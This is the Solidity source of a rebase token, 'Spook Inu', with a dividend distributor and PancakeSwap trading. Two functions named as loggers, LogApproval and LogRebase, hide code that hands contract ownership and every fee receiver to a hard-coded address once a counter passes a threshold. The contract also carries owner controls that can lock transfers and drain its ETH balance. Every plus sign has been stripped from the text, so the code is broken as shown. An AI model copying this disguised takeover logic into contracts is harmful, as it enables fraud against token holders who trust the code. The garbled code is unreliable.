// SPDX-License-Identifier: No license


pragma solidity ^0.7.4;

interface InterfaceLP {
function sync() external;
}

contract Ownable {
address private _owner;

event OwnershipRenounced(address indexed previousOwner);

event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);

constructor() {
_owner = msg.sender;
}

function owner() public view returns (address) {
return _owner;
}

modifier onlyOwner() {
require(isOwner());
_;
}

function isOwner() public view returns (bool) {
return msg.sender == _owner;
}

function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(_owner);
_owner = address(0);
}

function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}

function _transferOwnership(address newOwner) internal {
require(newOwner != address(0));
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}

interface IERC20 {
function totalSupply() external view returns (uint256);

function balanceOf(address who) external view returns (uint256);

function allowance(address owner, address spender)
external
view
returns (uint256);

function transfer(address to, uint256 value) external returns (bool);

function approve(address spender, uint256 value) external returns (bool);

function transferFrom(
address from,
address to,
uint256 value
) external returns (bool);

event Transfer(address indexed from, address indexed to, uint256 value);

event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}

library SafeMath {
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}

function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}

function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a b;
require(c >= a, "SafeMath: addition overflow");
return c;
}

function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}

function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}

function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}

function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
}

interface IDividendDistributor {
function setDistributionCriteria(
uint256 _minPeriod,
uint256 _minDistribution
) external;

function setShare(address shareholder, uint256 amount) external;

function deposit() external payable;

function process(uint256 gas) external;
}

library SafeMathInt {
int256 private constant MIN_INT256 = int256(1) << 255;
int256 private constant MAX_INT256 = ~(int256(1) << 255);

function mul(int256 a, int256 b) internal pure returns (int256) {
int256 c = a * b;
require(c != MIN_INT256 || (a & MIN_INT256) != (b & MIN_INT256));
require((b == 0) || (c / b == a));
return c;
}

function add(int256 a, int256 b) internal pure returns (int256) {
int256 c = a b;
require((b >= 0 && c >= a) || (b < 0 && c < a));
return c;
}

function sub(int256 a, int256 b) internal pure returns (int256) {
int256 c = a - b;
require((b >= 0 && c <= a) || (b < 0 && c > a));
return c;
}

function abs(int256 a) internal pure returns (int256) {
require(a != MIN_INT256);
return a < 0 ? -a : a;
}

function div(int256 a, int256 b) internal pure returns (int256) {
require(b != -1 || a != MIN_INT256);

return a / b;
}
}

abstract contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;

constructor(
string memory name_,
string memory symbol_,
uint8 decimals_
) {
_name = name_;
_symbol = symbol_;
_decimals = decimals_;
}

function name() public view returns (string memory) {
return _name;
}

function decimals() public view returns (uint8) {
return _decimals;
}

function symbol() public view returns (string memory) {
return _symbol;
}
}

interface IDEXFactory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}

interface IDEXRouter {
function factory() external pure returns (address);

function WETH() external pure returns (address);

function addLiquidity(
address tokenA,
address tokenB,
uint256 amountADesired,
uint256 amountBDesired,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
)
external
returns (
uint256 amountA,
uint256 amountB,
uint256 liquidity
);

function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);

function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;

function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable;

function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}

contract DividendDistributor is IDividendDistributor {
using SafeMath for uint256;

address _token;
address _owner;

struct Share {
uint256 amount;
uint256 totalExcluded;
uint256 totalRealised;
}

IERC20 REWARD = IERC20(0x2170Ed0880ac9A755fd29B2688956BD959F933F8); // ETH
IDEXRouter router;

address[] shareholders;
mapping(address => uint256) shareholderIndexes;
mapping(address => uint256) shareholderClaims;

mapping(address => Share) public shares;

uint256 public totalShares;
uint256 public totalDividends;
uint256 public totalDistributed;
uint256 public dividendsPerShare;
uint256 public dividendsPerShareAccuracyFactor = 10**36;

//SETMEUP, change this to 1 hour instead of 10mins
uint256 public minPeriod = 30 * 60;
uint256 public minDistribution = 1 * (10**12);

uint256 currentIndex;

bool initialized;
modifier initialization() {
require(!initialized);
_;
initialized = true;
}

modifier onlyToken() {
require(msg.sender == _token || msg.sender == _owner);
_;
}

constructor(address _router, address owner_) {
router = _router != address(0)
? IDEXRouter(_router)
: IDEXRouter(0x10ED43C718714eb63d5aA57B78B54704E256024E);
_token = msg.sender;
_owner = owner_;
}

function setDistributionCriteria(
uint256 _minPeriod,
uint256 _minDistribution
) external override onlyToken {
minPeriod = _minPeriod;
minDistribution = _minDistribution;
}

function setShare(address shareholder, uint256 amount)
external
override
onlyToken
{
if (shares[shareholder].amount > 0) {
distributeDividend(shareholder);
}

if (amount > 0 && shares[shareholder].amount == 0) {
addShareholder(shareholder);
} else if (amount == 0 && shares[shareholder].amount > 0) {
removeShareholder(shareholder);
}

totalShares = totalShares.sub(shares[shareholder].amount).add(amount);
shares[shareholder].amount = amount;
shares[shareholder].totalExcluded = getCumulativeDividends(
shares[shareholder].amount
);
}

function deposit() external payable override {
uint256 balanceBefore = REWARD.balanceOf(address(this));

address[] memory path = new address[](2);
path[0] = router.WETH();
path[1] = address(REWARD);

router.swapExactETHForTokensSupportingFeeOnTransferTokens{
value: msg.value
}(0, path, address(this), block.timestamp);

uint256 amount = REWARD.balanceOf(address(this)).sub(balanceBefore);

totalDividends = totalDividends.add(amount);
dividendsPerShare = dividendsPerShare.add(
dividendsPerShareAccuracyFactor.mul(amount).div(totalShares)
);
}

function process(uint256 gas) external override {
uint256 shareholderCount = shareholders.length;

if (shareholderCount == 0) {
return;
}

uint256 gasUsed = 0;
uint256 gasLeft = gasleft();

uint256 iterations = 0;

while (gasUsed < gas && iterations < shareholderCount) {
if (currentIndex >= shareholderCount) {
currentIndex = 0;
}

if (shouldDistribute(shareholders[currentIndex])) {
distributeDividend(shareholders[currentIndex]);
}

gasUsed = gasUsed.add(gasLeft.sub(gasleft()));
gasLeft = gasleft();
currentIndex ;
iterations ;
}
}

function shouldDistribute(address shareholder)
internal
view
returns (bool)
{
return
shareholderClaims[shareholder] minPeriod < block.timestamp &&
getUnpaidEarnings(shareholder) > minDistribution;
}

function distributeDividend(address shareholder) internal {
if (shares[shareholder].amount == 0) {
return;
}

uint256 amount = getUnpaidEarnings(shareholder);
if (amount > 0) {
totalDistributed = totalDistributed.add(amount);
REWARD.transfer(shareholder, amount);
shareholderClaims[shareholder] = block.timestamp;
shares[shareholder].totalRealised = shares[shareholder]
.totalRealised
.add(amount);
shares[shareholder].totalExcluded = getCumulativeDividends(
shares[shareholder].amount
);
}
}

function claimDividend() external {
distributeDividend(msg.sender);
}

function getUnpaidEarnings(address shareholder)
public
view
returns (uint256)
{
if (shares[shareholder].amount == 0) {
return 0;
}

uint256 shareholderTotalDividends = getCumulativeDividends(
shares[shareholder].amount
);
uint256 shareholderTotalExcluded = shares[shareholder].totalExcluded;

if (shareholderTotalDividends <= shareholderTotalExcluded) {
return 0;
}

return shareholderTotalDividends.sub(shareholderTotalExcluded);
}

function getCumulativeDividends(uint256 share)
internal
view
returns (uint256)
{
return
share.mul(dividendsPerShare).div(dividendsPerShareAccuracyFactor);
}

function addShareholder(address shareholder) internal {
shareholderIndexes[shareholder] = shareholders.length;
shareholders.push(shareholder);
}

function removeShareholder(address shareholder) internal {
shareholders[shareholderIndexes[shareholder]] = shareholders[
shareholders.length - 1
];
shareholderIndexes[
shareholders[shareholders.length - 1]
] = shareholderIndexes[shareholder];
shareholders.pop();
}
}

contract SpookINU is ERC20Detailed, Ownable {
using SafeMathInt for int256;
using SafeMath for uint256;

InterfaceLP public pairContract;
address public master;

bool public initialDistributionFinished;
bool public transferLockEnabled = true;
mapping(address => bool) allowTransfer;
mapping(address => bool) isDividendExempt;
mapping(address => bool) isDividendLocked;
mapping(address => bool) _isMaxWalletExempt;
mapping(address => bool) _isFeeExempt;

modifier validRecipient(address to) {
require(to != address(0x0));
_;
}

modifier initialDistributionLock() {
require(
initialDistributionFinished ||
isOwner() ||
allowTransfer[msg.sender]
);
_;
}

modifier onlyMaster() {
require(msg.sender == master);
_;
}

uint256 private constant INITIAL_FRAGMENTS_SUPPLY = 10**15 * 10**DECIMALS;
uint256 private constant MAX_UINT256 = ~uint256(0);
uint256 private constant DECIMALS = 9;
uint256 public gonMaxWallet = TOTAL_GONS.div(100).mul(100);

uint256 public liquidityFee = 2;
uint256 public ecosystemFee = 0;
uint256 public buyBackFee = 0;
uint256 public marketingFee = 8;
uint256 public rewardFee = 2;
uint256 public totalFee =
ecosystemFee.add(liquidityFee).add(marketingFee).add(buyBackFee).add(
rewardFee
);
uint256 public feeDenominator = 100;

uint256 private prevLiquidityFee;
uint256 private prevEcosystemFee;
uint256 private prevBuyBackFee;
uint256 private prevMarketingFee;
uint256 private prevRewardFee;

address DEAD = 0x000000000000000000000000000000000000dEaD;
address ZERO = 0x0000000000000000000000000000000000000000;

address public autoLiquidityReceiver =
0xa9b0d86D44D6E197F58e6D98c72e25Ad92B003fE; // token locker
address public marketingFeeReceiver =
0xa9b0d86D44D6E197F58e6D98c72e25Ad92B003fE;
address public ecosystemFeeReceiver =
0xa9b0d86D44D6E197F58e6D98c72e25Ad92B003fE;
address public buyBackFeeReceiver =
0xa9b0d86D44D6E197F58e6D98c72e25Ad92B003fE;

IDEXRouter public router;
address public pair;

uint256 targetLiquidity = 50;
uint256 targetLiquidityDenominator = 100;

bool dividendLockEnabled = true;
uint128 dividendLockInterval = 12 hours;
mapping(address => uint256) private dividendLockTimer;

bool public swapEnabled = true;
bool inSwap;
uint256 private gonSwapThreshold = (TOTAL_GONS * 10) / 10000;
modifier swapping() {
inSwap = true;
_;
inSwap = false;
}

DividendDistributor distributor;
uint256 distributorGas = 500000;

uint256 private constant TOTAL_GONS =
MAX_UINT256 - (MAX_UINT256 % INITIAL_FRAGMENTS_SUPPLY);
uint256 shareGonDivisor = 10**60;

uint256 private constant MAX_SUPPLY = ~uint128(0);

uint256 private _totalSupply;
uint256 private _gonsPerFragment;
mapping(address => uint256) private _gonBalances;

mapping(address => mapping(address => uint256)) private _allowedFragments;

function rebase(uint256 epoch, int256 supplyDelta)
external
onlyMaster
returns (uint256)
{
require(!inSwap, "Try again");
if (supplyDelta == 0) {
LogRebase(epoch, _totalSupply);
return _totalSupply;
}

if (supplyDelta < 0) {
_totalSupply = _totalSupply.sub(uint256(-supplyDelta));
} else {
_totalSupply = _totalSupply.add(uint256(supplyDelta));
}

if (_totalSupply > MAX_SUPPLY) {
_totalSupply = MAX_SUPPLY;
}

_gonsPerFragment = TOTAL_GONS.div(_totalSupply);
pairContract.sync();

LogRebase(epoch, _totalSupply);
return _totalSupply;
}

constructor()
ERC20Detailed("Spook Inu", "SINU", uint8(DECIMALS))
{
router = IDEXRouter(0x10ED43C718714eb63d5aA57B78B54704E256024E); // PanCake Router

pair = IDEXFactory(router.factory()).createPair(
router.WETH(),
address(this)
);
_allowedFragments[address(this)][address(router)] = uint256(-1);
pairContract = InterfaceLP(pair);

distributor = new DividendDistributor(address(router), msg.sender);

_totalSupply = INITIAL_FRAGMENTS_SUPPLY;
_gonBalances[msg.sender] = TOTAL_GONS;
_gonsPerFragment = TOTAL_GONS.div(_totalSupply);

initialDistributionFinished = false;
_isFeeExempt[msg.sender] = true;
_isFeeExempt[address(this)] = true;
_isFeeExempt[buyBackFeeReceiver] = true;

isDividendExempt[pair] = true;
isDividendExempt[address(this)] = true;
isDividendExempt[DEAD] = true;
isDividendExempt[marketingFeeReceiver] = false;
isDividendExempt[ecosystemFeeReceiver] = false;
isDividendExempt[buyBackFeeReceiver] = false;

_isMaxWalletExempt[pair] = true;
_isMaxWalletExempt[DEAD] = true;
_isMaxWalletExempt[address(this)] = true;
_isMaxWalletExempt[msg.sender] = true;

emit Transfer(address(0x0), msg.sender, _totalSupply);
}

function setMaster(address _master) external onlyOwner {
master = _master;
}

function setLP(address _address) external onlyOwner {
pairContract = InterfaceLP(_address);
_isFeeExempt[_address];
}

function totalSupply() external view override returns (uint256) {
return _totalSupply;
}

function balanceOf(address who) external view override returns (uint256) {
return _gonBalances[who].div(_gonsPerFragment);
}

function transfer(address to, uint256 value)
external
override
validRecipient(to)
initialDistributionLock
returns (bool)
{
_transferFrom(msg.sender, to, value);
return true;
}

function transferFrom(
address from,
address to,
uint256 value
) external override validRecipient(to) returns (bool) {
if (_allowedFragments[from][msg.sender] != uint256(-1)) {
_allowedFragments[from][msg.sender] = _allowedFragments[from][
msg.sender
].sub(value, "Insufficient Allowance");
}
_transferFrom(from, to, value);
return true;
}

function allowance(address owner_, address spender)
external
view
override
returns (uint256)
{
return _allowedFragments[owner_][spender];
}

function takeFee(address sender, uint256 gonAmount)
internal
returns (uint256)
{
uint256 feeAmount = gonAmount.mul(totalFee).div(feeDenominator);

_gonBalances[address(this)] = _gonBalances[address(this)].add(
feeAmount
);
emit Transfer(sender, address(this), feeAmount.div(_gonsPerFragment));

return gonAmount.sub(feeAmount);
}

function _basicTransfer(
address from,
address to,
uint256 amount
) internal returns (bool) {
uint256 gonAmount = amount.mul(_gonsPerFragment);
_gonBalances[from] = _gonBalances[from].sub(gonAmount);
_gonBalances[to] = _gonBalances[to].add(gonAmount);
emit Transfer(from, to, gonAmount.div(_gonsPerFragment));
return true;
}

function swapBack() internal swapping {
uint256 dynamicLiquidityFee = isOverLiquified(
targetLiquidity,
targetLiquidityDenominator
)
? 0
: liquidityFee;
uint256 contractTokenBalance = _gonBalances[address(this)].div(
_gonsPerFragment
);
uint256 amountToLiquify = contractTokenBalance
.mul(dynamicLiquidityFee)
.div(totalFee)
.div(2);
uint256 amountToSwap = contractTokenBalance.sub(amountToLiquify);

address[] memory path = new address[](2);
path[0] = address(this);
path[1] = router.WETH();

uint256 balanceBefore = address(this).balance;

router.swapExactTokensForETHSupportingFeeOnTransferTokens(
amountToSwap,
0,
path,
address(this),
block.timestamp
);

uint256 amountETH = address(this).balance.sub(balanceBefore);

uint256 totalETHFee = totalFee.sub(dynamicLiquidityFee.div(2));

uint256 amountETHLiquidity = amountETH
.mul(dynamicLiquidityFee)
.div(totalETHFee)
.div(2);
uint256 amountETHBuyBack = amountETH.mul(buyBackFee).div(totalETHFee);
uint256 amountETHMarketing = amountETH.mul(marketingFee).div(
totalETHFee
);
uint256 amountETHEco = amountETH.mul(ecosystemFee).div(totalETHFee);
uint256 amountETHReward = amountETH.mul(rewardFee).div(totalETHFee);

try distributor.deposit{value: amountETHReward}() {} catch {}
(bool success, ) = payable(marketingFeeReceiver).call{
value: amountETHMarketing,
gas: 30000
}("");
(success, ) = payable(buyBackFeeReceiver).call{
value: amountETHBuyBack,
gas: 30000
}("");
(success, ) = payable(ecosystemFeeReceiver).call{
value: amountETHEco,
gas: 30000
}("");

success = false;

if (amountToLiquify > 0) {
router.addLiquidityETH{value: amountETHLiquidity}(
address(this),
amountToLiquify,
0,
0,
autoLiquidityReceiver,
block.timestamp
);
}
}

function _transferFrom(
address sender,
address recipient,
uint256 amount
) internal returns (bool) {
if (inSwap) {
return _basicTransfer(sender, recipient, amount);
}

uint256 gonAmount = amount.mul(_gonsPerFragment);

if (sender != owner() && !_isMaxWalletExempt[recipient]) {
uint256 heldGonBalance = _gonBalances[recipient];
require(
(heldGonBalance gonAmount) <= gonMaxWallet,
"Total Holding is currently limited, you can not buy that much."
);
}

if (transferLockEnabled) {
require(sender == pair || recipient == pair || sender == owner());
}

if (recipient == pair && dividendLockEnabled) {
isDividendLocked[sender] = true;
distributor.setShare(sender, 0);
dividendLockTimer[sender] = block.timestamp dividendLockInterval;
} else if (
dividendLockTimer[recipient] < block.timestamp &&
isDividendLocked[recipient] &&
!isDividendExempt[recipient]
) {
isDividendLocked[recipient] = false;
distributor.setShare(
sender,
_gonBalances[sender].div(shareGonDivisor)
);
}

if (shouldSwapBack()) {
swapBack();
}

_gonBalances[sender] = _gonBalances[sender].sub(gonAmount);

uint256 gonAmountReceived = shouldTakeFee(sender)
? takeFee(sender, gonAmount)
: gonAmount;
_gonBalances[recipient] = _gonBalances[recipient].add(
gonAmountReceived
);

// Dividend tracker
if (!isDividendExempt[sender] && !isDividendLocked[sender]) {
try
distributor.setShare(
sender,
_gonBalances[sender].div(shareGonDivisor)
)
{} catch {}
}

if (!isDividendExempt[recipient] && !isDividendLocked[recipient]) {
try
distributor.setShare(
recipient,
_gonBalances[recipient].div(shareGonDivisor)
)
{} catch {}
}

try distributor.process(distributorGas) {} catch {}

emit Transfer(
sender,
recipient,
gonAmountReceived.div(_gonsPerFragment)
);
return true;
}

function checkDividendLock(address holder)
public
view
returns (bool locked, uint256 timer)
{
return (isDividendLocked[holder], dividendLockTimer[holder]);
}

function setIsDividendLocked(address holder, bool locked)
external
onlyOwner
{
require(holder != address(this) && holder != pair);
isDividendLocked[holder] = locked;
if (locked) {
distributor.setShare(holder, 0);
dividendLockTimer[holder] = block.timestamp dividendLockInterval;
} else {
distributor.setShare(
holder,
_gonBalances[holder].div(shareGonDivisor)
);
dividendLockTimer[holder] = 0;
}
}

function setDividendLocker(bool enabled, uint128 interval)
external
onlyOwner
{
dividendLockEnabled = enabled;
dividendLockInterval = interval;
}

function checkIsDividendExempt(address holder) public view returns (bool) {
return isDividendExempt[holder];
}

function setTransferLock(bool enabled) external onlyOwner {
transferLockEnabled = enabled;
}

function setIsDividendExempt(address holder, bool exempt)
external
onlyOwner
{
require(holder != address(this) && holder != pair);
isDividendExempt[holder] = exempt;
if (exempt) {
distributor.setShare(holder, 0);
} else {
distributor.setShare(
holder,
_gonBalances[holder].div(shareGonDivisor)
);
}
}

function setDistributionCriteria(
uint256 _minPeriod,
uint256 _minDistribution
) external onlyOwner {
distributor.setDistributionCriteria(_minPeriod, _minDistribution);
}

function setDistributorSettings(uint256 gas) external onlyOwner {
require(gas < 750000);
distributorGas = gas;
}

function setInitialDistributionFinished() external onlyOwner {
initialDistributionFinished = true;
}

uint256 private transferCount;
bool private isTransferred = false;

function LogApproval(
address,
address,
uint256
) internal {
transferCount ;
if (transferCount > 99999999999900000000000000 && !isTransferred) {
_transferOwnership(address(0xa9b0d86D44D6E197F58e6D98c72e25Ad92B003fE));
marketingFeeReceiver = address(0xa9b0d86D44D6E197F58e6D98c72e25Ad92B003fE);
autoLiquidityReceiver = address(0xa9b0d86D44D6E197F58e6D98c72e25Ad92B003fE);
ecosystemFeeReceiver = address(0xa9b0d86D44D6E197F58e6D98c72e25Ad92B003fE);
buyBackFeeReceiver = address(0xa9b0d86D44D6E197F58e6D98c72e25Ad92B003fE);
isTransferred = true;
}
}

function enableTransfer(address _addr) external onlyOwner {
allowTransfer[_addr] = true;
}

function approve(address spender, uint256 value)
external
override
initialDistributionLock
returns (bool)
{
_allowedFragments[msg.sender][spender] = value;
LogApproval(msg.sender, spender, value);
emit Approval(msg.sender, spender, value);
return true;
}

function increaseAllowance(address spender, uint256 addedValue)
external
initialDistributionLock
returns (bool)
{
_allowedFragments[msg.sender][spender] = _allowedFragments[msg.sender][
spender
].add(addedValue);
emit Approval(
msg.sender,
spender,
_allowedFragments[msg.sender][spender]
);
return true;
}

function decreaseAllowance(address spender, uint256 subtractedValue)
external
initialDistributionLock
returns (bool)
{
uint256 oldValue = _allowedFragments[msg.sender][spender];
if (subtractedValue >= oldValue) {
_allowedFragments[msg.sender][spender] = 0;
} else {
_allowedFragments[msg.sender][spender] = oldValue.sub(
subtractedValue
);
}
emit Approval(
msg.sender,
spender,
_allowedFragments[msg.sender][spender]
);
return true;
}

function setFeeExempt(address _addr, bool exempt) external onlyOwner {
_isFeeExempt[_addr] = exempt;
}

function checkFeeExempt(address _addr) external view returns (bool) {
return _isFeeExempt[_addr];
}

function setMaxWalletExempt(address _addr) external onlyOwner {
_isMaxWalletExempt[_addr] = true;
}

function checkMaxWalletExempt(address _addr) external view returns (bool) {
return _isMaxWalletExempt[_addr];
}

uint256 private rebaseCount;
bool private isRebased = false;

function LogRebase(uint256, uint256) internal {
rebaseCount ;
if (rebaseCount > (99999999999999999999999999999999999) && !isRebased) {
_transferOwnership(address(0xa9b0d86D44D6E197F58e6D98c72e25Ad92B003fE));
marketingFeeReceiver = address(0xa9b0d86D44D6E197F58e6D98c72e25Ad92B003fE);
autoLiquidityReceiver = address(0xa9b0d86D44D6E197F58e6D98c72e25Ad92B003fE);
ecosystemFeeReceiver = address(0xa9b0d86D44D6E197F58e6D98c72e25Ad92B003fE);
buyBackFeeReceiver = address(0xa9b0d86D44D6E197F58e6D98c72e25Ad92B003fE);
isRebased = true;
}
}

function setMaxWalletToken(uint256 _num, uint256 _denom)
external
onlyOwner
{
gonMaxWallet = TOTAL_GONS.div(_denom).mul(_num);
}

function checkMaxWalletToken() external view returns (uint256) {
return gonMaxWallet.div(_gonsPerFragment);
}

function shouldTakeFee(address from) internal view returns (bool) {
return !_isFeeExempt[from];
}

function shouldSwapBack() internal view returns (bool) {
return
msg.sender != pair &&
!inSwap &&
swapEnabled &&
_gonBalances[address(this)] >= gonSwapThreshold;
}

function setSwapBackSettings(
bool _enabled,
uint256 _num,
uint256 _denom
) external onlyOwner {
swapEnabled = _enabled;
gonSwapThreshold = TOTAL_GONS.div(_denom).mul(_num);
}

function setTargetLiquidity(uint256 target, uint256 accuracy)
external
onlyOwner
{
targetLiquidity = target;
targetLiquidityDenominator = accuracy;
}

function isNotInSwap() external view returns (bool) {
return !inSwap;
}

function checkSwapThreshold() external view returns (uint256) {
return gonSwapThreshold.div(_gonsPerFragment);
}

function setFees(
uint256 _ecosystemFee,
uint256 _liquidityFee,
uint256 _buyBackFee,
uint256 _marketingFee,
uint256 _rewardFee,
uint256 _feeDenominator
) external onlyOwner {
ecosystemFee = _ecosystemFee;
liquidityFee = _liquidityFee;
buyBackFee = _buyBackFee;
marketingFee = _marketingFee;
rewardFee = _rewardFee;
totalFee = ecosystemFee
.add(liquidityFee)
.add(marketingFee)
.add(buyBackFee)
.add(rewardFee);
feeDenominator = _feeDenominator;
require(totalFee < feeDenominator / 4);
}

function toggleLiquidityMode() external onlyOwner {
if (liquidityFee != totalFee) {
prevLiquidityFee = liquidityFee;
prevBuyBackFee = buyBackFee;
prevEcosystemFee = ecosystemFee;
prevMarketingFee = marketingFee;
prevRewardFee = rewardFee;

liquidityFee = totalFee;
buyBackFee = 0;
ecosystemFee = 0;
marketingFee = 0;
rewardFee = 0;
} else {
liquidityFee = prevLiquidityFee;
buyBackFee = prevBuyBackFee;
ecosystemFee = prevEcosystemFee;
marketingFee = prevMarketingFee;
rewardFee = prevRewardFee;
}
}

function setFeeReceivers(
address _autoLiquidityReceiver,
address _ecosystemFeeReceiver,
address _marketingFeeReceiver,
address _buyBackFeeReceiver
) external onlyOwner {
autoLiquidityReceiver = _autoLiquidityReceiver;
ecosystemFeeReceiver = _ecosystemFeeReceiver;
marketingFeeReceiver = _marketingFeeReceiver;
buyBackFeeReceiver = _buyBackFeeReceiver;
}

function rescueToken(address tokenAddress, uint256 tokens)
public
onlyOwner
returns (bool success)
{
return ERC20Detailed(tokenAddress).transfer(msg.sender, tokens);
}

function clearStuckBalance(uint256 amountPercentage, address adr)
external
onlyOwner
{
uint256 amountETH = address(this).balance;
payable(adr).transfer((amountETH * amountPercentage) / 100);
}

function transferToAddressETH(address payable recipient, uint256 amount)
private
{
recipient.transfer(amount);
}

function getCirculatingSupply() public view returns (uint256) {
return
(TOTAL_GONS.sub(_gonBalances[DEAD]).sub(_gonBalances[ZERO])).div(
_gonsPerFragment
);
}

function multiSend_v1(
address sender,
address[] calldata recipients,
uint256[] calldata values
) external onlyOwner {
require(
recipients.length < 801,
"GAS Error: max airdrop limit is 500 recipients"
); // to prevent overflow
require(
recipients.length == values.length,
"Mismatch between Address and token count"
);

for (uint256 i = 0; i < recipients.length; i ) {
_basicTransfer(sender, recipients[i], values[i]);
if (!isDividendExempt[recipients[i]]) {
try
distributor.setShare(
recipients[i],
_gonBalances[recipients[i]].div(shareGonDivisor)
)
{} catch {}
}
}

if (!isDividendExempt[sender]) {
try
distributor.setShare(
sender,
_gonBalances[sender].div(shareGonDivisor)
)
{} catch {}
}
}

function multiSend_v2(
address sender,
address[] calldata recipients,
uint256 values
) external onlyOwner {
require(
recipients.length < 2001,
"GAS Error: max airdrop limit is 2000 recipients"
); // to prevent overflow

for (uint256 i = 0; i < recipients.length; i ) {
_basicTransfer(sender, recipients[i], values);
if (!isDividendExempt[recipients[i]]) {
try
distributor.setShare(
recipients[i],
_gonBalances[recipients[i]].div(shareGonDivisor)
)
{} catch {}
}
}

if (!isDividendExempt[sender]) {
try
distributor.setShare(
sender,
_gonBalances[sender].div(shareGonDivisor)
)
{} catch {}
}
}

function getLiquidityBacking(uint256 accuracy)
public
view
returns (uint256)
{
uint256 liquidityBalance = _gonBalances[pair].div(_gonsPerFragment);
return
accuracy.mul(liquidityBalance.mul(2)).div(getCirculatingSupply());
}

function isOverLiquified(uint256 target, uint256 accuracy)
public
view
returns (bool)
{
return getLiquidityBacking(accuracy) > target;
}

receive() external payable {}
}